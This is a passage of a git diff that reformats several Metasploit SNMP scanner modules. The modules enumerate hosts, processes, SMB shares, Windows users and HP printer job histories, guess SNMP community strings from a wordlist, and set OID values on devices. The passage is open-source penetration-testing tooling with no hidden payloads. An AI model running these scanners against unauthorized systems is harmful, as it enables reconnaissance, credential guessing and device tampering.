snmp.get_value('1.3.6.1.2.1.25.3.8.1.4.1') + + case hr_fs_type.to_s + when /^1.3.6.1.2.1.25.3.9.1$/ + hr_fs_type = 'Other' + when /^1.3.6.1.2.1.25.3.9.2$/ + hr_fs_type = 'Unknown' + when /^1.3.6.1.2.1.25.3.9.3$/ + hr_fs_type = 'BerkeleyFFS' + when /^1.3.6.1.2.1.25.3.9.4$/ + hr_fs_type = 'Sys5FS' + when /^1.3.6.1.2.1.25.3.9.5$/ + hr_fs_type = 'Fat' + when /^1.3.6.1.2.1.25.3.9.6$/ + hr_fs_type = 'HPFS' + when /^1.3.6.1.2.1.25.3.9.7$/ + hr_fs_type = 'HFS' + when /^1.3.6.1.2.1.25.3.9.8$/ + hr_fs_type = 'MFS' + when /^1.3.6.1.2.1.25.3.9.9$/ + hr_fs_type = 'NTFS' + when /^1.3.6.1.2.1.25.3.9.10$/ + hr_fs_type = 'VNode' + when /^1.3.6.1.2.1.25.3.9.11$/ + hr_fs_type = 'Journaled' + when /^1.3.6.1.2.1.25.3.9.12$/ + hr_fs_type = 'iso9660' + when /^1.3.6.1.2.1.25.3.9.13$/ + hr_fs_type = 'RockRidge' + when /^1.3.6.1.2.1.25.3.9.14$/ + hr_fs_type = 'NFS' + when /^1.3.6.1.2.1.25.3.9.15$/ + hr_fs_type = 'Netware' + when /^1.3.6.1.2.1.25.3.9.16$/ + hr_fs_type = 'AFS' + when /^1.3.6.1.2.1.25.3.9.17$/ + hr_fs_type = 'DFS' + when /^1.3.6.1.2.1.25.3.9.18$/ + hr_fs_type = 'Appleshare' + when /^1.3.6.1.2.1.25.3.9.19$/ + hr_fs_type = 'RFS' + when /^1.3.6.1.2.1.25.3.9.20$/ + hr_fs_type = 'DGCFS' + when /^1.3.6.1.2.1.25.3.9.21$/ + hr_fs_type = 'BFS' + when /^1.3.6.1.2.1.25.3.9.22$/ + hr_fs_type = 'FAT32' + when /^1.3.6.1.2.1.25.3.9.23$/ + hr_fs_type = 'LinuxExt2' + else + hr_fs_type = 'Null' + end + + if hr_fs_type.to_s !~ /Null/ + file_system['Type'] = hr_fs_type + end + + hr_fs_access = snmp.get_value('1.3.6.1.2.1.25.3.8.1.5.1') + if hr_fs_access.to_s !~ /Null/ + file_system['Access'] = hr_fs_access + end + + hr_fs_bootable = snmp.get_value('1.3.6.1.2.1.25.3.8.1.6.1') + if hr_fs_bootable.to_s !~ /Null/ + file_system['Bootable'] = hr_fs_bootable + end + + if !file_system.empty? + output_data['File system information'] = file_system + end + + device_information = [] + + snmp.walk([ + '1.3.6.1.2.1.25.3.2.1.1', '1.3.6.1.2.1.25.3.2.1.2', + '1.3.6.1.2.1.25.3.2.1.5', '1.3.6.1.2.1.25.3.2.1.3' + ]) do |index, type, status, descr| + case type.value.to_s + when /^1.3.6.1.2.1.25.3.1.1$/ + type.value = 'Other' + when /^1.3.6.1.2.1.25.3.1.2$/ + type.value = 'Unknown' + when /^1.3.6.1.2.1.25.3.1.3$/ + type.value = 'Processor' + when /^1.3.6.1.2.1.25.3.1.4$/ + type.value = 'Network' + when /^1.3.6.1.2.1.25.3.1.5$/ + type.value = 'Printer' + when /^1.3.6.1.2.1.25.3.1.6$/ + type.value = 'Disk Storage' + when /^1.3.6.1.2.1.25.3.1.10$/ + type.value = 'Video' + when /^1.3.6.1.2.1.25.3.1.11$/ + type.value = 'Audio' + when /^1.3.6.1.2.1.25.3.1.12$/ + type.value = 'Coprocessor' + when /^1.3.6.1.2.1.25.3.1.13$/ + type.value = 'Keyboard' + when /^1.3.6.1.2.1.25.3.1.14$/ + type.value = 'Modem' + when /^1.3.6.1.2.1.25.3.1.15$/ + type.value = 'Parallel Port' + when /^1.3.6.1.2.1.25.3.1.16$/ + type.value = 'Pointing' + when /^1.3.6.1.2.1.25.3.1.17$/ + type.value = 'Serial Port' + when /^1.3.6.1.2.1.25.3.1.18$/ + type.value = 'Tape' + when /^1.3.6.1.2.1.25.3.1.19$/ + type.value = 'Clock' + when /^1.3.6.1.2.1.25.3.1.20$/ + type.value = 'Volatile Memory' + when /^1.3.6.1.2.1.25.3.1.21$/ + type.value = 'Non Volatile Memory' + else + type.value = 'unknown' + end + + case status.value + when 1 + status.value = 'unknown' + when 2 + status.value = 'running' + when 3 + status.value = 'warning' + when 4 + status.value = 'testing' + when 5 + status.value = 'down' + else + status.value = 'unknown' + end + + descr.value = 'unknown' if descr.value.to_s =~ /noSuchInstance/ + + device_information.push([index.value, type.value, status.value, descr.value]) + end + + if !device_information.empty? + output_data['Device information'] = [['Id', 'Type', 'Status', 'Descr']] + device_information + end + + software_list = [] + + snmp.walk(['1.3.6.1.2.1.25.6.3.1.1', '1.3.6.1.2.1.25.6.3.1.2']) do |index, name| + software_list.push([index.value, name.value]) + end + + if !software_list.empty? + output_data['Software components'] = [['Index', 'Name']] + software_list + end + + process_interfaces = [] + + snmp.walk([ + '1.3.6.1.2.1.25.4.2.1.1', '1.3.6.1.2.1.25.4.2.1.2', '1.3.6.1.2.1.25.4.2.1.4', + '1.3.6.1.2.1.25.4.2.1.5', '1.3.6.1.2.1.25.4.2.1.7' + ]) do |id, name, path, param, status| + if status.value == 1 + status.value = 'running' + elsif status.value == 2 + status.value = 'runnable' + else + status.value = 'unknown' + end + + process_interfaces.push([id.value, status.value, name.value, path.value, param.value]) + end + + if !process_interfaces.empty? + output_data['Processes'] = [['Id', 'Status', 'Name', 'Path', 'Parameters']] + process_interfaces + end + + print_line("\n[*] System information:\n") + + line = '' + width = 30 # name field width + twidth = 32 # table like display cell width + + fields_order.each do |k| + next unless output_data.key?(k) + + v = output_data[k] + + case v + when Array + content = '' + + v.each do |a| + case a + when Hash + a.each do |sk, sv| + sk = truncate_to_twidth(sk, twidth) + content << sk.to_s + content << ' ' * [0, width - sk.length].max + content << ": #{sv}\n" + end + when Array + a.each do |sv| + sv = sv.to_s.strip + # I don't like cutting info + # sv = truncate_to_twidth(sv, twidth) + content << sprintf('%-20s', sv) + end + else + content << sprintf(" %s\n", a) + end + content << "\n" + end + + report_note( + host: ip, + proto: 'udp', + sname: 'snmp', + port: datastore['RPORT'].to_i, + type: "snmp.#{k}", + data: { content: content } + ) + + line << "\n[*] #{k}:\n\n#{content}" + + when Hash + content = '' + v.each do |sk, sv| + sk = truncate_to_twidth(sk, twidth) + content << sk.to_s + content << ' ' * [0, width - sk.length].max + content << ": #{sv}\n" + end + + report_note( + host: ip, + proto: 'udp', + sname: 'snmp', + port: datastore['RPORT'].to_i, + type: "snmp.#{k}", + data: { content: content } + ) + + line << "\n[*] #{k}:\n\n#{content}" + content << "\n" + else + if v.nil? || v.empty? || v =~ /Null/ + v = '-' + end + + report_note( + host: ip, + proto: 'udp', + sname: 'snmp', + port: datastore['RPORT'].to_i, + type: "snmp.#{k}", + data: { content: v } + ) + + k = truncate_to_twidth(k, twidth) + line << k.to_s + line << ' ' * [0, width - k.length].max + line << ": #{v}\n" + end + end + + print_line(line) + print_line('') + rescue SNMP::RequestTimeout + print_error("#{ip} SNMP request timeout.") + rescue Rex::ConnectionError + print_error("#{ip} Connection refused.") + rescue SNMP::InvalidIpAddress + print_error("#{ip} Invalid IP address. Check it with 'snmpwalk tool'.") + rescue SNMP::UnsupportedVersion + print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") + rescue SNMP::ParseError + print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.") + rescue ::Interrupt + raise $ERROR_INFO + rescue StandardError => e + print_error("Unknown error: #{e.class} #{e}") + elog(e) + ensure + disconnect_snmp + end + # rubocop:enable Metrics/MethodLength + + def truncate_to_twidth(string, twidth) + string.slice(0..twidth - 2) end - def truncate_to_twidth(string,twidth) - string.slice(0..twidth-2) - end - - def number_to_human_size(size,unit) + def number_to_human_size(size, unit) size = size.first.to_i * unit.first.to_i if size < 1024 "#{size} bytes" elsif size < 1024.0 * 1024.0 - "%.02f KB" % (size / 1024.0) + '%.02f KB' % (size / 1024.0) elsif size < 1024.0 * 1024.0 * 1024.0 - "%.02f MB" % (size / 1024.0 / 1024.0) + '%.02f MB' % (size / 1024.0 / 1024.0) else - "%.02f GB" % (size / 1024.0 / 1024.0 / 1024.0) + '%.02f GB' % (size / 1024.0 / 1024.0 / 1024.0) end end end diff --git a/modules/auxiliary/scanner/snmp/snmp_enum_hp_laserjet.rb b/modules/auxiliary/scanner/snmp/snmp_enum_hp_laserjet.rb index 513dcc1797..be2e9d64eb 100644 --- a/modules/auxiliary/scanner/snmp/snmp_enum_hp_laserjet.rb +++ b/modules/auxiliary/scanner/snmp/snmp_enum_hp_laserjet.rb @@ -3,145 +3,149 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner def initialize(info = {}) - super(update_info(info, - 'Name' => 'HP LaserJet Printer SNMP Enumeration', - 'Description' => %q{ - This module allows enumeration of files previously printed. - It provides details as filename, client, timestamp and username information. - The default community used is "public". - }, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'HP LaserJet Printer SNMP Enumeration', + 'Description' => %q{ + This module allows enumeration of files previously printed. + It provides details as filename, client, timestamp and username information. + The default community used is "public". + }, + 'References' => [ [ 'URL', 'https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol' ], [ 'URL', 'https://net-snmp.sourceforge.io/docs/man/snmpwalk.html' ], [ 'URL', 'http://www.nothink.org/codes/snmpcheck/index.php' ], [ 'URL', 'http://www.securiteam.com/securitynews/5AP0S2KGVS.html' ], [ 'URL', 'http://stuff.mit.edu/afs/athena/dept/cron/tools/share/mibs/290923.mib' ], ], - 'Author' => 'Matteo Cantoni ', - 'License' => MSF_LICENSE - )) + 'Author' => 'Matteo Cantoni ', + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) end def run_host(ip) - begin - snmp = connect_snmp + snmp = connect_snmp - vprint_status("Connecting to #{ip}") + vprint_status("Connecting to #{ip}") - output_data = [] + output_data = [] - output_data << "IP address : #{ip}" + output_data << "IP address : #{ip}" - sysName = snmp.get_value('1.3.6.1.2.1.1.5.0').to_s - output_data << "Hostname : #{sysName.strip}" + sysName = snmp.get_value('1.3.6.1.2.1.1.5.0').to_s + output_data << "Hostname : #{sysName.strip}" - sysDesc = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s - sysDesc.gsub!(/^\s+|\s+$|\n+|\r+/, ' ') - output_data << "Description : #{sysDesc.strip}" + sysDesc = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s + sysDesc.gsub!(/^\s+|\s+$|\n+|\r+/, ' ') + output_data << "Description : #{sysDesc.strip}" - sysContact = snmp.get_value('1.3.6.1.2.1.1.4.0').to_s - output_data << "Contact : #{sysContact.strip}" if not sysContact.empty? + sysContact = snmp.get_value('1.3.6.1.2.1.1.4.0').to_s + output_data << "Contact : #{sysContact.strip}" if !sysContact.empty? - sysLocation = snmp.get_value('1.3.6.1.2.1.1.6.0').to_s - output_data << "Location : #{sysLocation.strip}" if not sysLocation.empty? + sysLocation = snmp.get_value('1.3.6.1.2.1.1.6.0').to_s + output_data << "Location : #{sysLocation.strip}" if !sysLocation.empty? - output_data << "" + output_data << '' - snmp.walk([ - "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.1", # job-info-name1 - document name1 - "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.2", # job-info-name2 - document name2 - "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.1", # job-info-attr-1 - username - "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.2", # job-info-attr-2 - machine name - "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.3", # job-info-attr-3 - domain (?) - "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.4", # job-info-attr-4 - timestamp - "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.6", # job-info-attr-6 - application name - "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.7", # job-info-attr-7 - application command - ]) do |name1,name2,username,client,domain,timestamp,app_name,app_command| + snmp.walk([ + '1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.1', # job-info-name1 - document name1 + '1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.2', # job-info-name2 - document name2 + '1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.1', # job-info-attr-1 - username + '1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.2', # job-info-attr-2 - machine name + '1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.3', # job-info-attr-3 - domain (?) + '1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.4', # job-info-attr-4 - timestamp + '1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.6', # job-info-attr-6 - application name + '1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.7', # job-info-attr-7 - application command + ]) do |name1, name2, username, client, domain, timestamp, app_name, app_command| + filename = name1.value.to_s + name2.value.to_s - filename = name1.value.to_s + name2.value.to_s - - if (username.value.to_s !~ /noSuchInstance/) - if username.value.to_s =~ /^JobAcct(\d+)=(.*)/ - username = $2 - end - else - username = '' - end - - if (client.value.to_s !~ /noSuchInstance/) - if client.value.to_s =~ /^JobAcct(\d+)=(.*)/ - client = $2 - end - else - client = '' - end - - if (domain.value.to_s !~ /noSuchInstance/) - if domain.value.to_s =~ /^JobAcct(\d+)=(.*)/ - domain = $2 - end - else - domain = '' - end - - if (timestamp.value.to_s !~ /noSuchInstance/) - if timestamp.value.to_s =~ /^JobAcct(\d+)=(.*)/ - timestamp = $2 - end - else - timestamp = '' - end - - if (app_name.value.to_s !~ /noSuchInstance/) - if app_name.value.to_s =~ /^JobAcct(\d+)=(.*)/ - app_name = $2 - end - else - app_name = '' - end - - if (app_command.value.to_s !~ /noSuchInstance/) - if app_command.value.to_s =~ /^JobAcct(\d+)=(.*)/ - app_command = $2 - end - else - app_command = '' - end - - if not timestamp.empty? - output_data << "File name : #{filename}" - output_data << "Username : #{username}" if not username.empty? - output_data << "Client : #{client}" if not client.empty? - output_data << "Domain : #{domain}" if not domain.empty? - output_data << "Timestamp : #{timestamp}" if not timestamp.empty? - output_data << "Application : #{app_name} (#{app_command})" if not app_name.empty? - output_data << "" + if (username.value.to_s !~ /noSuchInstance/) + if username.value.to_s =~ /^JobAcct(\d+)=(.*)/ + username = ::Regexp.last_match(2) end + else + username = '' end - output_data.each do |row| - print_good("#{row}") + if (client.value.to_s !~ /noSuchInstance/) + if client.value.to_s =~ /^JobAcct(\d+)=(.*)/ + client = ::Regexp.last_match(2) + end + else + client = '' end - disconnect_snmp + if (domain.value.to_s !~ /noSuchInstance/) + if domain.value.to_s =~ /^JobAcct(\d+)=(.*)/ + domain = ::Regexp.last_match(2) + end + else + domain = '' + end - rescue SNMP::RequestTimeout - print_error("#{ip}, SNMP request timeout.") - rescue Errno::ECONNREFUSED - print_error("#{ip}, Connection refused.") - rescue SNMP::InvalidIpAddress - print_error("#{ip}, Invalid IP Address. Check it with 'snmpwalk tool'.") - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("#{ip}, Unknown error: #{e.class} #{e}") + if (timestamp.value.to_s !~ /noSuchInstance/) + if timestamp.value.to_s =~ /^JobAcct(\d+)=(.*)/ + timestamp = ::Regexp.last_match(2) + end + else + timestamp = '' + end + + if (app_name.value.to_s !~ /noSuchInstance/) + if app_name.value.to_s =~ /^JobAcct(\d+)=(.*)/ + app_name = ::Regexp.last_match(2) + end + else + app_name = '' + end + + if (app_command.value.to_s !~ /noSuchInstance/) + if app_command.value.to_s =~ /^JobAcct(\d+)=(.*)/ + app_command = ::Regexp.last_match(2) + end + else + app_command = '' + end + + if !timestamp.empty? + output_data << "File name : #{filename}" + output_data << "Username : #{username}" if !username.empty? + output_data << "Client : #{client}" if !client.empty? + output_data << "Domain : #{domain}" if !domain.empty? + output_data << "Timestamp : #{timestamp}" if !timestamp.empty? + output_data << "Application : #{app_name} (#{app_command})" if !app_name.empty? + output_data << '' + end end + + output_data.each do |row| + print_good(row.to_s) + end + + disconnect_snmp + rescue SNMP::RequestTimeout + print_error("#{ip}, SNMP request timeout.") + rescue Errno::ECONNREFUSED + print_error("#{ip}, Connection refused.") + rescue SNMP::InvalidIpAddress + print_error("#{ip}, Invalid IP address. Check it with 'snmpwalk tool'.") + rescue ::Interrupt + raise $ERROR_INFO + rescue StandardError => e + print_error("#{ip}, Unknown error: #{e.class} #{e}") end end diff --git a/modules/auxiliary/scanner/snmp/snmp_enumshares.rb b/modules/auxiliary/scanner/snmp/snmp_enumshares.rb index d051947650..d4818f6950 100644 --- a/modules/auxiliary/scanner/snmp/snmp_enumshares.rb +++ b/modules/auxiliary/scanner/snmp/snmp_enumshares.rb @@ -3,6 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Report @@ -10,55 +11,60 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'SNMP Windows SMB Share Enumeration', - 'Description' => "This module will use LanManager OID values to enumerate SMB shares on a Windows system via SNMP", - 'Author' => ['tebo[at]attackresearch.com'], - 'License' => MSF_LICENSE + 'Name' => 'SNMP Windows SMB Share Enumeration', + 'Description' => 'This module will use LanManager OID values to enumerate SMB shares on a Windows system via SNMP', + 'Author' => ['tebo[at]attackresearch.com'], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) - end def run_host(ip) - begin - snmp = connect_snmp + snmp = connect_snmp - share_tbl = ["1.3.6.1.4.1.77.1.2.27.1.1", - "1.3.6.1.4.1.77.1.2.27.1.2", - "1.3.6.1.4.1.77.1.2.27.1.3"] + share_tbl = [ + '1.3.6.1.4.1.77.1.2.27.1.1', + '1.3.6.1.4.1.77.1.2.27.1.2', + '1.3.6.1.4.1.77.1.2.27.1.3' + ] - @shares = [] - if snmp.get_value('sysDescr.0') =~ /Windows/ + @shares = [] + if snmp.get_value('sysDescr.0') =~ /Windows/ - snmp.walk(share_tbl) do |entry| - @shares << entry.collect{|x|x.value} - end + snmp.walk(share_tbl) do |entry| + @shares << entry.collect(&:value) end - - disconnect_snmp - - if not @shares.empty? - print_good("#{ip} #{@shares.map{|x| "\n\t#{x[0]} - #{x[2]} (#{x[1]})" }.join}") #" - report_note( - :host => ip, - :proto => 'udp', - :port => datastore['RPORT'], - :sname => 'snmp', - :type => 'smb.shares', - :data => { :shares => @shares }, - :update => :unique_data - ) - end - - rescue SNMP::ParseError - print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.") - rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("#{ip} Unknown error: #{e.class} #{e}") - ensure - disconnect_snmp end + disconnect_snmp + + return if @shares.empty? + + print_good("#{ip} #{@shares.map { |x| "\n\t#{x[0]} - #{x[2]} (#{x[1]})" }.join}") + report_note( + host: ip, + proto: 'udp', + port: datastore['RPORT'], + sname: 'snmp', + type: 'smb.shares', + data: { shares: @shares }, + update: :unique_data + ) + rescue SNMP::ParseError + print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.") + rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout => e + vprint_error("#{ip} #{e.message}") + rescue ::SNMP::UnsupportedVersion => e + vprint_error("#{ip} #{e.message}") + rescue ::Interrupt + raise $ERROR_INFO + rescue StandardError => e + print_error("#{ip} Unknown error: #{e.class} #{e}") + ensure + disconnect_snmp end end diff --git a/modules/auxiliary/scanner/snmp/snmp_enumusers.rb b/modules/auxiliary/scanner/snmp/snmp_enumusers.rb index a766757613..f0eb1e810a 100644 --- a/modules/auxiliary/scanner/snmp/snmp_enumusers.rb +++ b/modules/auxiliary/scanner/snmp/snmp_enumusers.rb @@ -11,66 +11,72 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'SNMP Windows Username Enumeration', + 'Name' => 'SNMP Windows Username Enumeration', 'Description' => ' This module will use LanManager/psProcessUsername OID values to enumerate local user accounts on a Windows/Solaris system via SNMP ', - 'Author' => ['tebo[at]attackresearch.com'], - 'License' => MSF_LICENSE + 'Author' => ['tebo[at]attackresearch.com'], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) end def run_host(ip) peer = "#{ip}:#{rport}" - begin - snmp = connect_snmp + snmp = connect_snmp - sys_desc = snmp.get_value('sysDescr.0') - if sys_desc.blank? || sys_desc.to_s == 'Null' - vprint_error("#{peer} No sysDescr received") - return - end - sys_desc = sys_desc.split(/[\r\n]/).join(' ') - - sys_desc_map = { - /Windows/ => '1.3.6.1.4.1.77.1.2.25', - /Sun/ => '1.3.6.1.4.1.42.3.12.1.8' - } - - matching_oids = sys_desc_map.select { |re, _| sys_desc =~ re }.values - if matching_oids.empty? - vprint_warning("#{peer} Skipping unsupported sysDescr: '#{sys_desc}'") - return - end - users = [] - - matching_oids.each do |oid| - snmp.walk(oid) do |row| - row.each { |val| users << val.value.to_s } - end - end - unless users.empty? - users.sort! - users.uniq! - print_good("#{peer} Found #{users.size} users: #{users.join(', ')}") - end - - report_note( - host: rhost, - port: rport, - proto: 'udp', - sname: 'snmp', - update: :unique_data, - type: 'snmp.users', - data: { :users => users } - ) - rescue SNMP::ParseError - print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.") - rescue ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion - # too noisy for a scanner - ensure - disconnect_snmp + sys_desc = snmp.get_value('sysDescr.0') + if sys_desc.blank? || sys_desc.to_s == 'Null' + vprint_error("#{peer} No sysDescr received") + return end + sys_desc = sys_desc.split(/[\r\n]/).join(' ') + + sys_desc_map = { + /Windows/ => '1.3.6.1.4.1.77.1.2.25', + /Sun/ => '1.3.6.1.4.1.42.3.12.1.8' + } + + matching_oids = sys_desc_map.select { |re, _| sys_desc =~ re }.values + if matching_oids.empty? + vprint_warning("#{peer} Skipping unsupported sysDescr: '#{sys_desc}'") + return + end + users = [] + + matching_oids.each do |oid| + snmp.walk(oid) do |row| + row.each { |val| users << val.value.to_s } + end + end + + unless users.empty? + users.sort! + users.uniq! + print_good("#{peer} Found #{users.size} users: #{users.join(', ')}") + end + + report_note( + host: rhost, + port: rport, + proto: 'udp', + sname: 'snmp', + update: :unique_data, + type: 'snmp.users', + data: { users: users } + ) + rescue SNMP::ParseError + print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.") + rescue ::SNMP::RequestTimeout + # too noisy for a scanner + rescue ::SNMP::UnsupportedVersion => e + vprint_error(e.message) + ensure + disconnect_snmp end end diff --git a/modules/auxiliary/scanner/snmp/snmp_login.rb b/modules/auxiliary/scanner/snmp/snmp_login.rb index 6735c4c3fb..93e4c1fe95 100644 --- a/modules/auxiliary/scanner/snmp/snmp_login.rb +++ b/modules/auxiliary/scanner/snmp/snmp_login.rb @@ -13,40 +13,45 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'SNMP Community Login Scanner', + 'Name' => 'SNMP Community Login Scanner', 'Description' => %q{ This module logs in to SNMP devices using common community names. }, - 'Author' => 'hdm', - 'References' => - [ - [ 'CVE', '1999-0508' ], # Weak password - [ 'CVE', '1999-0517' ], - [ 'CVE', '1999-0516' ], - ], - 'License' => MSF_LICENSE + 'Author' => 'hdm', + 'References' => [ + [ 'CVE', '1999-0508' ], # Weak password + [ 'CVE', '1999-0517' ], + [ 'CVE', '1999-0516' ], + ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options( - [ - Opt::RPORT(161), - OptEnum.new('PROTOCOL', [true, 'The SNMP protocol to use', 'udp', ['udp', 'tcp']]), - OptEnum.new('VERSION', [true, 'The SNMP version to scan', '1', ['1', '2c', 'all']]), - OptString.new('PASSWORD', [ false, 'The password to test' ]), - OptPath.new('PASS_FILE', [ false, "File containing communities, one per line", - File.join(Msf::Config.data_directory, "wordlists", "snmp_default_pass.txt") - ]) - ]) + [ + Opt::RPORT(161), + OptEnum.new('PROTOCOL', [true, 'The SNMP protocol to use', 'udp', ['udp', 'tcp']]), + OptEnum.new('VERSION', [true, 'The SNMP version to scan', '1', ['1', '2c', 'all']]), + OptString.new('PASSWORD', [ false, 'The password to test' ]), + OptPath.new('PASS_FILE', [ + false, 'File containing communities, one per line', + File.join(Msf::Config.data_directory, 'wordlists', 'snmp_default_pass.txt') + ]) + ] + ) deregister_options('USERNAME', 'USER_FILE', 'USERPASS_FILE') end # Operate on a single host so that we can take advantage of multithreading def run_host(ip) - collection = Metasploit::Framework::CommunityStringCollection.new( - pass_file: datastore['PASS_FILE'], - password: datastore['PASSWORD'] + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'] ) scanner = Metasploit::Framework::LoginScanner::SNMP.new( @@ -67,8 +72,8 @@ class MetasploitModule < Msf::Auxiliary scanner.scan! do |result| credential_data = result.to_h credential_data.merge!( - module_fullname: self.fullname, - workspace_id: myworkspace_id + module_fullname: fullname, + workspace_id: myworkspace_id ) if result.success? credential_core = create_credential(credential_data) @@ -77,12 +82,12 @@ class MetasploitModule < Msf::Auxiliary print_good "#{ip}:#{rport} - Login Successful: #{result.credential} (Access level: #{result.access_level}); Proof (sysDescr.0): #{result.proof}" report_service( - :host => ip, - :port => rport, - :proto => 'udp', - :name => 'snmp', - :info => result.proof, - :state => 'open' + host: ip, + port: rport, + proto: 'udp', + name: 'snmp', + info: result.proof, + state: 'open' ) else invalidate_login(credential_data) @@ -99,7 +104,4 @@ class MetasploitModule < Msf::Auxiliary datastore['PROTOCOL'] end - - - end diff --git a/modules/auxiliary/scanner/snmp/snmp_set.rb b/modules/auxiliary/scanner/snmp/snmp_set.rb index 3335c340c9..13492d9962 100644 --- a/modules/auxiliary/scanner/snmp/snmp_set.rb +++ b/modules/auxiliary/scanner/snmp/snmp_set.rb @@ -3,46 +3,68 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner def initialize(info = {}) - super(update_info(info, - 'Name' => 'SNMP Set Module', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'SNMP Set Module', + 'Description' => %q{ This module, similar to snmpset tool, uses the SNMP SET request to set information on a network entity. A OID (numeric notation) and a value are required. Target device must permit write access. - }, - 'References' => - [ + }, + 'References' => [ [ 'URL', 'https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol' ], [ 'URL', 'http://www.net-snmp.org/docs/man/snmpset.html' ], [ 'URL', 'http://www.oid-info.com/' ], ], - 'Author' => 'Matteo Cantoni ', - 'License' => MSF_LICENSE - )) + 'Author' => 'Matteo Cantoni ', + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [CONFIG_CHANGES], + 'Reliability' => [] + } + ) + ) register_options([ - OptString.new('OID', [ true, "The object identifier (numeric notation)"]), - OptString.new('OIDVALUE', [ true, "The value to set"]), + OptString.new('OID', [ true, 'The object identifier (numeric notation)']), + OptString.new('OIDVALUE', [ true, 'The value to set']), ]) end def run_host(ip) + oid = datastore['OID'].to_s + oidvalue = datastore['OIDVALUE'].to_s + comm = datastore['COMMUNITY'].to_s - begin + snmp = connect_snmp - oid = datastore['OID'].to_s - oidvalue = datastore['OIDVALUE'].to_s - comm = datastore['COMMUNITY'].to_s + print_status("Try to connect to #{ip}...") - snmp = connect_snmp + # get request + check = snmp.get_value(oid) - print_status("Try to connect to #{ip}...") + if check.to_s =~ /Null/ + check = '\'\'' + end + + print_status("Check initial value : OID #{oid} => #{check}") + + # set request + varbind = SNMP::VarBind.new(oid, SNMP::OctetString.new(oidvalue)) + resp = snmp.set(varbind) + + if resp.error_status == :noError + + print_status("Set new value : OID #{oid} => #{oidvalue}") # get request check = snmp.get_value(oid) @@ -51,41 +73,22 @@ class MetasploitModule < Msf::Auxiliary check = '\'\'' end - print_status("Check initial value : OID #{oid} => #{check}") + print_status("Check new value : OID #{oid} => #{check}") - # set request - varbind = SNMP::VarBind.new(oid,SNMP::OctetString.new(oidvalue)) - resp = snmp.set(varbind) - - if resp.error_status == :noError - - print_status("Set new value : OID #{oid} => #{oidvalue}") - - # get request - check = snmp.get_value(oid) - - if check.to_s =~ /Null/ - check = '\'\'' - end - - print_status("Check new value : OID #{oid} => #{check}") - - else - print_status("#{ip} - OID not writable or does not provide WRITE access with community '#{comm}'") - end - - rescue ::SNMP::RequestTimeout - print_error("#{ip} - SNMP request timeout with community '#{comm}'.") - rescue ::Rex::ConnectionError - print_error("#{ip} - 'Connection Refused'") - rescue SNMP::UnsupportedVersion - print_error("#{ip} - Unsupported SNMP version specified. Select from '1' or '2c'.") - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}") - ensure - disconnect_snmp + else + print_status("#{ip} - OID not writable or does not provide WRITE access with community '#{comm}'") end + rescue ::SNMP::RequestTimeout + print_error("#{ip} - SNMP request timeout with community '#{comm}'.") + rescue ::Rex::ConnectionError + print_error("#{ip} - 'Connection Refused'") + rescue SNMP::UnsupportedVersion + print_error("#{ip} - Unsupported SNMP version specified. Select from '1' or '2c'.") + rescue 